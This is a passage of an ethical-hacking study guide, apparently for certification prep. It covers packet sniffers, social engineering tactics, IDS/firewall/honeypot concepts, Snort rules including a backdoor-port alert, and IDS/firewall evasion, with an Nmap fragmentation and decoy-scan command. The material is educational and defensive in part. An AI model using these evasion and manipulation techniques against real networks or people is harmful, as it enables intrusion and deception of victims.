        <li><strong><code>ip.addr == 172.17.15.12 &amp;&amp; tcp.port == 23</code></strong>
          <ul>
            <li>Displays telnet packets containing that IP</li>
          </ul>
        </li>
        <li><strong><code>ip.src == 10.0.0.224 &amp;&amp; ip.dst == 10.0.0.156</code></strong>
          <ul>
            <li>See all packets exchanged from IP source to destination IP</li>
          </ul>
        </li>
        <li><strong><code>http.request</code></strong>
          <ul>
            <li>Displays HTTP GET requests</li>
          </ul>
        </li>
        <li><strong><code>tcp contains string</code></strong>
          <ul>
            <li>Displays TCP segments that contain the word "string"</li>
          </ul>
        </li>
        <li><strong><code>tcp.flags==0x16</code></strong>
          <ul>
            <li>Filters TCP requests with ACK flag set</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h3><strong>tcpdump</strong></h3>
  <p><em>Tcpdump is a data-network packet analyzer computer program that runs under a command line interface. It allows
      the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is
      attached.</em></p>
  <ul>
    <li><img
        src="https://camo.githubusercontent.com/33a479b12001431323304fb8a5f75ea65444357f/68747470733a2f2f7061636b6574666c6f77732e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031372f30352f74637064756d705f692e706e67"
        alt="tcpdump"></li>
    <li><strong>Syntax</strong>
      <ul>
        <li>&lt;<strong>tcpdump flag(s) interface</strong>&gt;</li>
        <li><code>tcpdump -i eth1</code>
          <ul>
            <li>Puts the interface in listening mode</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>WinDump is a Windows version similar to tcpdump.</li>
  </ul>
  <h3><strong>tcptrace</strong></h3>
  <ul>
    <li>Analyzes files produced by packet capture programs such as Wireshark, tcpdump and Etherpeek</li>
  </ul>
  <h3><strong>Other Tools</strong></h3>
  <ul>
    <li><strong>Ettercap</strong> - also can be used for MITM attacks, ARP poisoning. Has active and passive sniffing.
    </li>
    <li><strong>Capsa Network Analyzer</strong></li>
    <li><strong>Snort</strong> - usually discussed as an Intrusion Detection application</li>
    <li><strong>Sniff-O-Matic</strong></li>
    <li><strong>EtherPeek</strong></li>
    <li><strong>WinDump</strong></li>
    <li><strong>WinSniffer</strong></li>
  </ul>
  <h2><strong>Defending and Countermeasures techniques against Sniffing</strong>:</h2>
  <ul>
    <li>Disable ARP Dynamic</li>
    <li>ARP Spoofing detection tools</li>
    <li>Encrypt all the traffic that leaves your system</li>
    <li>Avoid public Wi-Fi spots</li>
    <li>Network scanning and monitoring</li>
    <li>Reverse DNS lookup's on logs == Sniffer</li>
    <li><strong>Ping</strong> suspect clients with <strong>wrong MAC address</strong>
      <ul>
        <li>If suspect accepts the packet, is a good indication that he is sniffing the network / using NIC in
          promiscuous mode.</li>
      </ul>
    </li>
    <li>Use <strong>Nmap</strong> with nse-script for <strong>Sniffer Detect</strong>:
      <ul>
        <li><strong><code>nmap --script=sniffer-detect &lt;target&gt;</code></strong></li>
      </ul>
    </li>
  </ul>
  <h1>6. Social Engineering</h1>
  <blockquote>
    <p>⚡︎ <strong>This chapter has <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/tree/master/8-Social-Engineering">practical
          labs</a></strong></p>
  </blockquote>
  <p><em>Social Engineering is the art of manipulating a person or group into providing information or a service they
      would otherwise not have given.</em></p>
  <h2>Phases</h2>
  <ol>
    <li>🔍 <strong>Research target company</strong>
      <ul>
        <li>Dumpster dive, visit websites, tour the company, etc</li>
      </ul>
    </li>
    <li>🎯 <strong>Select the victim</strong>
      <ul>
        <li>Identify frustrated employee or other target</li>
      </ul>
    </li>
    <li>💬 <strong>Build a relationship</strong>
      <ul>
        <li>Develop relationship with target employee</li>
      </ul>
    </li>
    <li>💰 <strong>Exploit the relationship</strong>
      <ul>
        <li>Collect sensitive information and current technologies</li>
      </ul>
    </li>
  </ol>
  <h2>Principles</h2>
  <ol>
    <li><strong>Authority</strong>
      <ul>
        <li>Impersonate or imply a position of authority</li>
      </ul>
    </li>
    <li><strong>Intimidation</strong>
      <ul>
        <li>Frighten by threat</li>
      </ul>
    </li>
    <li><strong>Consensus / Social proof</strong>
      <ul>
        <li>To convince of a general group agreement</li>
      </ul>
    </li>
    <li><strong>Scarcity</strong>
      <ul>
        <li>The situation will not be this way for long</li>
      </ul>
    </li>
    <li><strong>Urgency</strong>
      <ul>
        <li>Works alongside scarcity / act quickly, don't think</li>
      </ul>
    </li>
    <li><strong>Familiarity</strong>
      <ul>
        <li>To imply a closer relationship</li>
      </ul>
    </li>
    <li><strong>Trust</strong>
      <ul>
        <li>To assure reliance on their honesty and integrity</li>
      </ul>
    </li>
  </ol>
  <h2><strong>Behaviors</strong></h2>
  <ul>
    <li><strong>Human nature/Trust</strong> - trusting others</li>
    <li><strong>Ignorance</strong> of social engineering efforts</li>
    <li><strong>Fear</strong> of consequences of not providing the information</li>
    <li><strong>Greed</strong> - promised gain for providing requested information</li>
    <li>A sense of <strong>moral obligation</strong></li>
  </ul>
  <h2><strong>Companies Common Risks:</strong></h2>
  <ul>
    <li><strong>Insufficient training</strong></li>
    <li><strong>Lack of controls</strong>
      <ul>
        <li>Technical
          <ul>
            <li>e.g: Firewall rule, ACL rules, patch management (...)</li>
          </ul>
        </li>
        <li>Administrative
          <ul>
            <li>e.g: Mandatory Vacations, Job Rotation, Separation of Duties (...)</li>
          </ul>
        </li>
        <li>Physical
          <ul>
            <li>e.g: Proper Lighting, Cameras, Guards, Mantraps (...)</li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>Size of the Company Matters</strong></li>
    <li><strong>Lack of Policies</strong>
      <ul>
        <li>Promiscuous Policy</li>
        <li>Permisive Policy</li>
        <li>Prudent Policy</li>
        <li>Paranoid Policy</li>
      </ul>
    </li>
  </ul>
  <h2><u>Social Engineering Attacks:</u></h2>
  <h2>Human-Based Attacks 👥</h2>
  <ul>
    <li>
      <p><strong>Dumpster Diving</strong> - Looking for sensitive information in the trash</p>
      <ul>
        <li>Shredded papers can sometimes indicate sensitive info</li>
      </ul>
    </li>
    <li>
      <p><strong>Impersonation</strong> - Pretending to be someone you're not</p>
      <ul>
        <li>Can be anything from a help desk person up to an authoritative figure (FBI agent)</li>
        <li>Posing as a tech support professional can really quickly gain trust with a person</li>
      </ul>
    </li>
    <li>
      <p><strong>Shoulder Surfing</strong> - Looking over someone's shoulder to get info</p>
      <ul>
        <li>Can be done long distance with binoculars, etc.</li>
      </ul>
    </li>
    <li>
      <p><strong>Eavesdropping</strong> - Listening in on conversations about sensitive information</p>
    </li>
    <li>
      <p><strong>Tailgating</strong> - Attacker walks in behind someone who has a valid badge. (e.g: Holding boxes or
        simply by following without getting notice)</p>
    </li>
    <li>
      <p><strong>Piggybacking</strong> - Attacker pretends they lost their badge and asks someone to hold the door</p>
    </li>
    <li>
      <p><strong>RFID Identity Theft</strong> (RFID skimming) - Stealing an RFID card signature with a specialized
        device</p>
    </li>
    <li>
      <p><strong>Reverse Social Engineering</strong> - Getting someone to call you and give information</p>
      <ul>
        <li>Often happens with tech support - an email is sent to user stating they need them to call back (due to
          technical issue) and the user calls back</li>
        <li>Can also be combined with a DoS attack to cause a problem that the user would need to call about</li>
        <li>Always be pleasant - it gets more information</li>
      </ul>
    </li>
    <li>
      <p><strong>Insider Attack</strong> - An attack from an employee, generally disgruntled</p>
      <ul>
        <li>Sometimes subclassified (negligent insider, professional insider)</li>
      </ul>
    </li>
  </ul>
  <h2>Computer-Based Attacks 💻</h2>
  <p><em>Can begin with sites like Facebook where information about a person is available; For instance - if you know
      Bob is working on a project, an email crafted to him about that project would seem quite normal if you spoof it
      from a person on his project.</em></p>
  <ul>
    <li>
      <p><strong>Phishing</strong> - crafting an email that appears legitimate but contains links to fake websites or to
        download malicious content.</p>
      <ul>
        <li><strong>Ways to Avoid Phishing</strong>
          <ul>
            <li>Beware unknown, unexpected or suspicious originators</li>
            <li>Beware of who the email is addressed to</li>
            <li>Verify phone numbers</li>
            <li>Beware bad spelling or grammar</li>
            <li>Always check links</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Spear Phishing</strong> - Targeting a person or a group with a phishing attack.</p>
      <ul>
        <li>Can be more useful because attack can be targeted</li>
      </ul>
    </li>
    <li>
      <p><strong>Whaling</strong> - Going after <strong>CEOs</strong> or other <strong>C-level executives</strong>.</p>
    </li>
    <li>
      <p><strong>Pharming</strong> - Make a user's traffic redirects to a clone website; may use DNS poisoning.</p>
    </li>
    <li>
      <p><strong>Spamming</strong> - Sending spam over instant message.</p>
    </li>
    <li>
      <p><strong>Fake Antivirus</strong> - Very prevalent attack; pretends to be an anti-virus but is a malicious tool.
      </p>
    </li>
  </ul>
  <h3><strong>Tools</strong></h3>
  <ul>
    <li>
      <p><strong>SET (Social Engineering Toolkit)</strong> - Pentest tool design to perform advanced attacks against
        human by exploiting their behavior.</p>
    </li>
    <li>
      <p><strong>PhishTank</strong> - For phishing detection</p>
    </li>
    <li>
      <p><strong>Wifiphisher</strong> - Automated phishing attacks against Wi-Fi networks in order to obtain credentials
        or inject malware.</p>
    </li>
    <li>
      <p><strong>SPF SpeedPhish framework</strong> - Quick recon and deployment of simple social eng. exercises</p>
    </li>
  </ul>
  <h2><u>Mobile-Based Attacks</u></h2>
  <ul>
    <li><strong>ZitMo</strong> (ZeuS-in-the-Mobile) - banking malware that was ported to Android</li>
    <li>SMS messages can be sent to request premium services</li>
    <li><strong>Attacks</strong>
      <ul>
        <li>Publishing malicious apps</li>
        <li>Repackaging legitimate apps</li>
        <li>Fake security applications</li>
        <li>SMS (<strong>smishing</strong>)</li>
      </ul>
    </li>
  </ul>
  <h2><u>Physical Security Basics</u></h2>
  <ul>
    <li><strong>Physical measures</strong> - everything you can touch, taste, smell or get shocked by
      <ul>
        <li>Includes things like air quality, power concerns, humidity-control systems</li>
      </ul>
    </li>
    <li><strong>Technical measures</strong> - smartcards and biometrics</li>
    <li><strong>Operational measures</strong> - policies and procedures you set up to enforce a security-minded
      operation</li>
    <li><strong>Access controls</strong> - physical measures designed to prevent access to controlled areas
      <ul>
        <li><strong>Biometrics</strong> - measures taken for authentication that come from the "something you are"
          concept
          <ul>
            <li><strong>False rejection rate</strong> (FRR) - when a biometric rejects a valid user</li>
            <li><strong>False acceptance rate</strong> (FAR) - when a biometric accepts an invalid user</li>
            <li><strong>Crossover error rate</strong> (CER) - combination of the two; determines how good a system is
            </li>
          </ul>
        </li>
      </ul>
    </li>
    <li>Even though hackers normally don't worry about environmental disasters, this is something to think of from a pen
      test standpoint (hurricanes, tornadoes, floods, etc.)</li>
  </ul>
  <h2>Prevention</h2>
  <ul>
    <li>Separation of duties</li>
    <li>Rotation of duties</li>
    <li>Controlled Access
      <ul>
        <li>Least privilege</li>
      </ul>
    </li>
    <li>Logging &amp; Auditing</li>
    <li>Policies</li>
  </ul>
  <h1>7. Evading IDS, Firewalls and Honeypots</h1>
  <h2><u>IDS/IPS - Basic Concepts</u></h2>
  <p><strong>Intrusion Prevention System (IPS)</strong> - ACTIVE monitoring of activity looking for anomalies and
    alerting/notifiying AND <strong>taking action when they are found</strong>.</p>
  <p><strong>Intrusion Detection System (IDS)</strong> - PASSIVE monitoring of activity looking for anomalies and
    alerting/notifying when they are found.</p>
  <p align="center">
    <img width="75%"
      src="https://3th2q02cq5up44zpe81rwase-wpengine.netdna-ssl.com/wp-content/uploads/2019/11/Intrusion-Detection-IDS-VS-Intrusion-Prevention-IPS-What%E2%80%99s-The-Difference.png">
  </p>
  <h3><strong>Deployment Types - HIDS &amp; NIDS &amp; WIDS:</strong></h3>
  <ol>
    <li>
      <p><strong>Host based</strong> - Monitors activity on a single device/host by being installed lcoally.</p>
    </li>
    <li>
      <p><strong>Network based</strong> - Monitors activity across a network using remote sensors that reprot back to a
        central system. Often paired with a security Information &amp; SIEM system for analysis. Often Reverse ARP or
        Reverse DNS lookups are used to discover the source</p>
    </li>
  </ol>
  <h3><strong>Knowledge &amp; Behavior-Based Detection:</strong></h3>
  <ol>
    <li>
      <p><strong>Knowledge Based (Signature Based | Pattern Matching)</strong> - Most common form of detection. Uses a
        database of profiles, or signatures to assess all traffic against.</p>
    </li>
    <li>
      <p><strong>Behavior Based (Statistical | Anomaly | Heuristic)</strong> - Starts by creating a baseline of behavior
        for the monitored system/network and then comapres all traffic against that looking for deviations. Can be
        labeled an AI or Expert system.</p>
    </li>
  </ol>
  <hr>
  <h3><strong>Types of IDS Alerts</strong></h3>
  <ul>
    <li><strong>True Positive</strong> --&gt; Attack - Alert ✅✅</li>
    <li><strong>False Positive</strong> --&gt; No Attack - Alert ❌✅</li>
    <li><strong>False Negative</strong> --&gt; Attack - No Alert ✅❌
      <ul>
        <li><em>This is the worst scenario</em></li>
      </ul>
    </li>
    <li><strong>True Negative</strong> --&gt; No Attack - No Alert ❌❌</li>
  </ul>
  <hr>
  <h2><u>Firewalls - Basic Concepts</u></h2>
  <p><em>Firewalls are often seen as NAC devices. Use of rule sets to filter traffic can implement security policy.</em>
  </p>
  <h3><strong>Firewalls types:</strong></h3>
  <ul>
    <li><strong>Stateful (Dynamic Packet Filtering)</strong> - Layer 3 + 4 (Network + Transport layer)</li>
    <li><strong>Stateless (Static Packet Filtering)</strong> - Layer 3 (Network)</li>
    <li><strong>Deep Packet Inspection</strong> - Layer 7 (Application Layer)</li>
    <li><strong>Proxy Firewall</strong> - Mediates communications between unstrusted and trusted end-points
      (server/hosts/clients). A proxy firewall is a network security system that protects network resources by filtering
      messages at the Application Layer 7. A proxy firewall may also be called an application firewall or gateway
      firewall.</li>
  </ul>
  <h3><strong>Proxy Types:</strong></h3>
  <ul>
    <li><strong>Circuit-level proxy</strong> - Firewall that works on <strong>Layer 5 (Session layer)</strong>; They
      monitor TCP handshaking between packets to determine whether a requested session is legitimate.</li>
    <li><strong>Application-level proxy</strong> - Any service or server that acts as a proxy for client computer
      requests at the application’s protocols.</li>
  </ul>
  <blockquote>
    <p>⚠️ An <u>application-level proxy</u> is one that knows about the particular application it is providing proxy
      services for; it understands and interprets the commands in the application protocol. A <u>circuit-level proxy</u>
      is one that creates a circuit between the client and the server without interpreting the application protocol.
    </p>
  </blockquote>
  <ul>
    <li>
      <p><strong>Multi-homed Firewall (dual-homed)</strong> - Firewall that has two or more interfaces; One interface is
        connected to the untrusted network and another interface is connected to the trusted network. A DMZ can be added
        to a multi-homed firewall just by adding a third interface.</p>
    </li>
    <li>
      <p><strong>Bastion hosts</strong> - Endpoint that is exposed to the internet but has been hardened to withstand
        attacks; Hosts on the screened subnet designed to protect internal resources.</p>
    </li>
    <li>
      <p><strong>Screened host</strong> - Endpoint that is protected by a firewall.</p>
    </li>
    <li>
      <p><strong>Packet-filtering</strong> - Firewalls that only looked at headers</p>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ Only uses rules that <strong>implicitly denies</strong> traffic unless it is allowed.</p>
  </blockquote>
  <blockquote>
    <p>⚠️ Oftentimes uses <strong>network address translation</strong> (NAT) which can apply a one-to-one or one-to-many
      relationship between external and internal IP addresses.</p>
  </blockquote>
  <blockquote>
    <p>⚠️ <strong>Private zone</strong> - hosts internal hosts that only respond to requests from within that zone</p>
  </blockquote>
  <h2><u>Honeypots</u> 🍯</h2>
  <p><em>Honeypots are decoy systems or servers deployed alongside production systems within your network. When deployed
      as enticing targets for attackers, honeypots can add security monitoring opportunities for blue teams and
      misdirect the adversary from their true target.</em></p>
  <ul>
    <li>
      <p><strong>Honeynet</strong> - Two or more honeypots on a network form a honeynet. Honeynets and honeypots are
        usually implemented as parts of larger Network Intrusion Detection Systems.</p>
    </li>
    <li>
      <p>A <strong>Honeyfarm</strong> is a centralized collection of honeypots and analysis tools.</p>
    </li>
  </ul>
  <h3><strong>Types of Honeypots:</strong></h3>
  <ol>
    <li><strong>Low-interaction</strong> ---&gt; Simulates/imitate services and systems that frequently attract criminal
      attention. They offer a method for collecting data from blind attacks such as botnets and worms malware.</li>
    <li><strong>High interaction</strong> ---&gt; Simulates all services and applications and is designed to be
      completely compromised</li>
    <li><strong>Production</strong> ---&gt; Serve as decoy systems inside fully operating networks and servers, often as
      part of an intrusion detection system (IDS). They deflect criminal attention from the real system while analyzing
      malicious activity to help mitigate vulnerabilities.</li>
    <li><strong>Research</strong> ---&gt; Used for educational purposes and security enhancement. They contain trackable
      data that you can trace when stolen to analyze the attack.</li>
  </ol>
  <ul>
    <li><strong>Honeypot Tools:</strong>
      <ul>
        <li>Specter</li>
        <li>Honeyd</li>
        <li>KFSensor (Honeypot IDS)</li>
      </ul>
    </li>
  </ul>
  <h2><u>Evading with Nmap</u></h2>
  <h3><strong>Useful switches for Evading and Stealthy</strong>:</h3>
  <table>
    <thead>
      <tr>
        <th>Nmap Switch</th>
        <th>Information</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><code>-v</code></td>
        <td>Verbose level</td>
      </tr>
      <tr>
        <td><code>-sS</code></td>
        <td>TCP SYN scan</td>
      </tr>
      <tr>
        <td><code>-T</code></td>
        <td>Time template for performing the scan</td>
      </tr>
      <tr>
        <td><code>-f</code></td>
        <td>Use fragmented IP packets</td>
      </tr>
      <tr>
        <td><code>-f --mtu</code></td>
        <td>Use fragmented packets &amp; set MTU</td>
      </tr>
      <tr>
        <td><code>-D</code></td>
        <td>IP address Decoy: &lt;decoy1,decoy2[,ME],...&gt;: Cloak a scan with decoys</td>
      </tr>
      <tr>
        <td><code>-S</code></td>
        <td>Spoof the source IP address</td>
      </tr>
      <tr>
        <td><code>--send-eth</code></td>
        <td>Ensures that we use Ethernet level packets. bypassing the IP layer and sends raw Ethernet frames within the
          flow</td>
      </tr>
      <tr>
        <td><code>--data-length</code></td>
        <td>Specify the length of data/frame</td>
      </tr>
      <tr>
        <td><code>--source-port</code></td>
        <td>Specify a randomized port that you want to comunicate</td>
      </tr>
    </tbody>
  </table>
  <hr>
  <h3><strong>Example:</strong></h3>
  <p>• Sends IPv4 fragmented 50-byte packet size; The packets are too small to send data and to detect as a
    Probe/Scanning technique:</p>
  <p><code>nmap -v -sS -f -mtu 32 --send-eth --data-length 50 --source-port 8965 -T5 192.168.0.22</code></p>
  <blockquote>
    <p>⚠️ <strong>Fragmentation is the heart of the IDS/Firewall Evasion techniques.</strong></p>
  </blockquote>
  <hr>
  <h2><u>Using SNORT</u></h2>
  <p><em>SNORT is an open source network intrusion detection system (NIDS). Snort is a packet sniffer that monitors
      network traffic in real time, scrutinizing each packet closely to detect a dangerous payload or suspicious
      anomalies.</em></p>
  <ul>
    <li>Snort is a widely deployed IDS that is open source</li>
    <li>Includes a <strong>sniffer</strong>, <strong>traffic logger</strong> and a <strong>protocol analyzer</strong>
    </li>
    <li>Runs in three different modes
      <ul>
        <li><strong>Sniffer</strong> - Watches packets in real time</li>
        <li><strong>Packet logger</strong> - Saves packets to disk for review at a later time</li>
        <li><strong>NIDS</strong> - Analyzes network traffic against various rule sets</li>
      </ul>
    </li>
    <li>Configuration is in <code>/etc/snort</code> on Linux and <code>C:\snort\etc</code> in Windows; the file is
      <strong>snort.conf</strong>.</li>
  </ul>
  <h3><strong>SNORT basics commands:</strong></h3>
  <p><strong>Operational modes:</strong></p>
  <ul>
    <li>
      <p>Snort as <strong>Sniffer</strong> ---&gt; <code>snort -v</code></p>
    </li>
    <li>
      <p>Snort as <strong>Packet logger</strong> ---&gt; <code>snort -l</code></p>
    </li>
    <li>
      <p>Snort as <strong>NIDS</strong> ---&gt; <code>snort -A</code> or <code>snort -c &lt;path_to_conf_file&gt;</code>
      </p>
    </li>
  </ul>
  <p><strong>Example of usage</strong>:</p>
  <ul>
    <li>
      <p><strong><code>snort -i 4 -l c:\Snort\log -c c:\Snort\etc\snort.conf -T</code></strong></p>
      <ul>
        <li><em>This command will test snort configuration and rules and check if there is any erros without starting
            up.</em></li>
        <li><code>-i 4</code> ---&gt; interface specifier, in case is interface 4.</li>
        <li><code>-l</code> ---&gt; for logging</li>
        <li><code>-c</code> ---&gt; use Snort rules file specifying path</li>
        <li><code>-T</code> ---&gt; Only For testing, this prevent Snort from start up; Essentially to check if there is
          any errors and if the rules are good.</li>
      </ul>
    </li>
    <li>
      <p><strong><code>snort -i 4 -c c:\Snort\etc\snort.conf -l c:\Snort\log -K ascii</code></strong></p>
      <ul>
        <li><em>This command will fire up Snort NIDS and log everything in ASCII.</em></li>
      </ul>
    </li>
  </ul>
  <p><strong>Basic commands</strong>:
    Flag | Information
    -|-
    <code>-A</code> | Set alert mode: fast, full, console, test or none
    <code>-b</code> | Log packets in tcpdump format (much faster!)
    <code>-B &lt;mask&gt;</code> | Obfuscate IP addresses in alerts and packet dumps using CIDR mask
    <code>-c &lt;rules&gt;</code> | Use Rules file
    <code>-C</code> | Print out payloads with character data only (no hex)
    <code>-l</code> | Specifies the logging directory (all alerts and packet logs are placed in this directory)
    <code>-i &lt;interface number&gt;</code> | Specifies which interface Snort should listen on
    <code>-K</code> | Logging mode (pcap[default], ascii, none)
    <code>-?</code> | Lists all switches and options and then exits</p>
  <h3><strong>SNORT Rules</strong></h3>
  <p><em>SNORT has a rules engine that allows for customization of monitoring and detection capabilities.</em></p>
  <ul>
    <li><strong>There are three available rule actions</strong>
      <ol>
        <li>Alert</li>
        <li>Pass</li>
        <li>Log</li>
      </ol>
    </li>
    <li><strong>And three available IP protocols:</strong>
      <ol>
        <li>TCP</li>
        <li>UDP</li>
        <li>ICMP</li>
      </ol>
    </li>
  </ul>
  <h3><strong>Breaking down a Snort rule:</strong></h3>
  <blockquote>
    <p><strong><code>alert icmp any any -&gt; &amp;HOME_NET any (msg:"ICMP test"; sid:1000001; rev:1;
          classtype:icmp-event;)</code></strong></p>
  </blockquote>
  <table>
    <thead>
      <tr>
        <th>Rule part</th>
        <th>Information</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><code>alert icmp any any -&gt; $HOME_NET any</code></td>
        <td><strong>Rule Header</strong> ⬇️</td>
      </tr>
      <tr>
        <td><code>alert</code></td>
        <td>Rule action. Snort will generate an alerta when the set condition is met.</td>
      </tr>
      <tr>
        <td><code>any</code> (1st)</td>
        <td>Source IP. Snort will look at all sources</td>
      </tr>
      <tr>
        <td><code>any</code> (2nd)</td>
        <td>Source port. Snort will look at all ports</td>
      </tr>
      <tr>
        <td><code>-&gt;</code></td>
        <td>Direction. From source to destination; <em>(source -&gt; destination)</em></td>
      </tr>
      <tr>
        <td><code>&amp;HOME_NET</code></td>
        <td>Destination IP. We are using the HOME_NET value from the snort.conf file which means a variable that defines
          the network or networks you are trying to protect.</td>
      </tr>
      <tr>
        <td><code>any</code> (3rd)</td>
        <td>Destination port. Snort will look at all ports on the protected network</td>
      </tr>
      <tr>
        <td><code>(msg:"ICMP test"; sid:1000001; rev:1; classtype:icmp-event;)</code></td>
        <td><strong>Rule Options</strong> ⬇️</td>
      </tr>
      <tr>
        <td><code>msg:"ICMP test"</code></td>
        <td>Snort will include this message with the alert</td>
      </tr>
      <tr>
        <td><code>sid:1000001</code></td>
        <td>Snort rule ID. Remember all numbers &lt; 1,000,000 are reserved, this is why we are starting with 1000001
          (you may use any number, as long as it's grater that 1,000,000)</td>
      </tr>
      <tr>
        <td><code>rev:1</code></td>
        <td>Revision number. This option allows for easier rule maintenance</td>
      </tr>
      <tr>
        <td><code>classtype:icmp-event</code></td>
        <td>Categorizes the rule as an "icmp-event", one of the predefined Snort categories. This options helps with the
          rule organization</td>
      </tr>
    </tbody>
  </table>
  <hr>
  <h3>Rules Examples:</h3>
  <blockquote>
    <p><strong><code>alert tcp 192.168.x.x any -&gt; &amp;HOME_NET 21 (msg:"FTP connection attempt"; sid:1000002;
          rev:1;)</code></strong></p>
  </blockquote>
  <ul>
    <li>TCP alert in a source IP address 192.168.x.x with any port; HOME_NET destination on port 21.</li>
  </ul>
  <blockquote>
    <p><strong><code>alert tcp $HOME_NET 21 -&gt; any any (msg:"FTP failed login"; content:"Login or password
          incorrent"; sid:1000003; rev:1;)</code></strong></p>
  </blockquote>
  <ul>
    <li>TCP alert in HOME_NET port 21 (FTP) as a source, to any destination IP address and port.</li>
  </ul>
  <blockquote>
    <p><strong><code>alert tcp !HOME_NET any -&gt; $HOME_NET 31337 (msg : "BACKDOOR
          ATTEMPT-BackOrifice")</code></strong></p>
  </blockquote>
  <ul>
    <li>This alerts about traffic coming not from an external network to the internal one on port 31337.</li>
  </ul>
  <p><strong>Example output</strong></p>
  <ul>
    <li>10/19-14:48:38.543734 0:48:542:2A:67 -&gt; 0:10:B5:3C:34:C4 type:0x800 len:0x5EA</li>
    <li><strong>xxx -&gt; xxx TCP TTL:64 TOS:0x0 ID:18112 IpLen:20 DgmLen:1500 DF</strong></li>
    <li>Important info is bolded</li>
  </ul>
  <h2><u>Evasion Concepts and Techniques</u></h2>
  <ul>
    <li>
      <p><strong>Insertion Attack</strong> - Attacker forces teh IDS to process invalid packets.</p>
    </li>
    <li>
      <p><strong>Evasion</strong> - An endpoint accepts a packet that the IDS would normally reject. Typically executed
        via <strong>fragmentation</strong> of the attack packets to allow them to be moved through the IDS.</p>
    </li>
    <li>
      <p><strong>Obfuscation</strong> - Encoding the attack packets in such a way that the target is able to decode
        them, but the IDS is not.</p>
      <ul>
        <li>Unicode</li>
        <li>Polymorphic code</li>
        <li>Encryption</li>
        <li>Path manipulation to cause signature mismatch</li>
      </ul>
    </li>
    <li>
      <p><strong>False Positive Generation Events</strong> - Crafting malicious packets designed to set off alarms with
        hope of distracting/overwhelming IDS and operators.</p>
    </li>
    <li>
      <p><strong>Session Splicing</strong> - Just another type of fragmentation attack.</p>
    </li>
    <li>
      <p><strong>Unicode encoding</strong> - works with web requests - using Unicode characters instead of ascii can
        sometimes get past</p>
    </li>
    <li>
      <p><strong>Fragmentation attack</strong> - Splits up packets so that the IDS can't detect the real intent</p>
    </li>
    <li>
      <p><strong>Overlapping Fragments</strong> - Generate a bunch of tiny fragments overlapping TCP sequence numbers.
      </p>
    </li>
    <li>
      <p><strong>Time-To-Live (TTL) Attack</strong> - Requires the attacker to have inside knowledge of the target
        network to allow for the adjusment of the TTL values to control who gets what packets when.</p>
    </li>
    <li>
      <p><strong>Invalid RST Packets</strong> - Manipulation of the RST flag to trick IDS into ignoring the
        communication session with the target.</p>
    </li>
    <li>
      <p><strong>Urgency Flag - URG</strong> - Manipulation URG flag to cause the target and IDS to have different sets
        of packets, because the IDS processes ALL packets irrespective of the URG flag, whereas the target will only
        process URG traffic.</p>
    </li>
    <li>
      <p><strong>Polymorphic Shellcode</strong> - Blow up the pattern matching by constantly changing.</p>
    </li>
    <li>
      <p><strong>ASCII Shellcode</strong> - Use ASCII characters to bypass pattern matching.</p>
    </li>
    <li>
      <p><strong>Application-Level Attacks</strong> - Taking advantage of the compression used to transfer large files
        and hide attacks in compressed data, as it cannot be examined by the IDS.</p>
    </li>
    <li>
      <p><strong>Desynchronization</strong> - Manipulation the TCP SYN to fool IDS into not paying attention to the
        sequence numbers of the illegitimate attack traffic, but rather, give it a false set of sequences to follow.</p>
    </li>
    <li>
      <p><strong>Encryption</strong> - Using encryption to hide attack.</p>
    </li>
    <li>
      <p><strong>Flood the network</strong> - Trigger alerts that aren't your intended attack so that you confuse
        firewalls/IDS and network admins; Overwhelming the IDS.</p>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Slow down</strong> - Faster scanning such as using nmap's -T5 switch will get you caught. Pros use -T1
      switch to get better results</p>
  </blockquote>
  <p><strong>Tools for Evasion</strong></p>
  <ul>
    <li><strong>Nessus</strong> - Also a vulnerability scanner</li>
    <li><strong>ADMmutate</strong> - Creates scripts not recognizable by signature files</li>
    <li><strong>NIDSbench</strong> - Older tool for fragmenting bits</li>
    <li><strong>Inundator</strong> - Flooding tool</li>
  </ul>
  <h2><u>Firewall Evasion</u></h2>
  <ul>
    <li>
      <p><strong>Firewalking</strong> - Using TTL values to determine gateway ACL filters and allow for mapping of
        internal networks by analyzing IP packet responses; Going through every port on a firewall to determine what is
        open.</p>
    </li>
    <li>
      <p><strong>Banner Grabbing</strong> - Looking for FTP, TELNET and web server banners.</p>
    </li>
    <li>
      <p><strong>IP Address Spoofing</strong> - Hijacking technique allowing attacker to masquerade as a trusted host.
      </p>
    </li>
    <li>
      <p><strong>Source Routing</strong> - Allows the sender of a packet to partially or fully specify the route to be
        used.</p>
    </li>
    <li>
      <p><strong>Tiny Fragments</strong> - Sucessful with Firewalls when they ONLY CHECK for the TCP header info,
        allowing the fragmentation of the information across multiple packets to hide the true intention of the attack.
      </p>
    </li>
    <li>
      <p><strong>ICMP Tunneling</strong> - Allows for the tunneling of a backdoor shell via the ICMP echo packets
        because the RFC (792) does not clearly define what kind of data goes in the data portion of the frame, allowing
        for attack traffic to be seen as acceptable when inserted. If firewalls do not examine the payload section of
        the dataframe, they would let the data through, allowing the attack.</p>
    </li>
    <li>
      <p><strong>ACK Tunneling</strong> - Use of the ACK flag to trick firewall into allowing packets, as many firewalls
        do not check ACK packets.</p>
    </li>
    <li>
      <p><strong>HTTP Tunneling</strong> - Use of HTTP traffic to 'hide' attacks.</p>
    </li>
    <li>
      <p><strong>SSH Tunneling</strong> - Use of SSH to encrypt and send attack traffic.</p>
    </li>
    <li>
      <p><strong>MitM Attacks</strong> - Use of DNS and routing manipulation to bypass firewalls.</p>
    </li>
    <li>
      <p><strong>XSS Attacks</strong> - Allows for the exploitation of vulnerabilities around the processing of input
        parameters from the end user and the server responses in a web application. The attacker injects malicious
        HTML/JS code into website to force the bypassing of the firewall once executed.</p>
    </li>
    <li>
      <p><em>Use IP in place of a URL - may work depending on nature of filtering in place</em></p>
    </li>
    <li>
      <p><em>Use Proxy Servers/Anonymizers - May work depending on nature of filtering in place</em></p>
    </li>
    <li>
      <p><em>ICMP Type 3 Code 13 will show that traffic is being blocked by firewall</em></p>
    </li>
    <li>
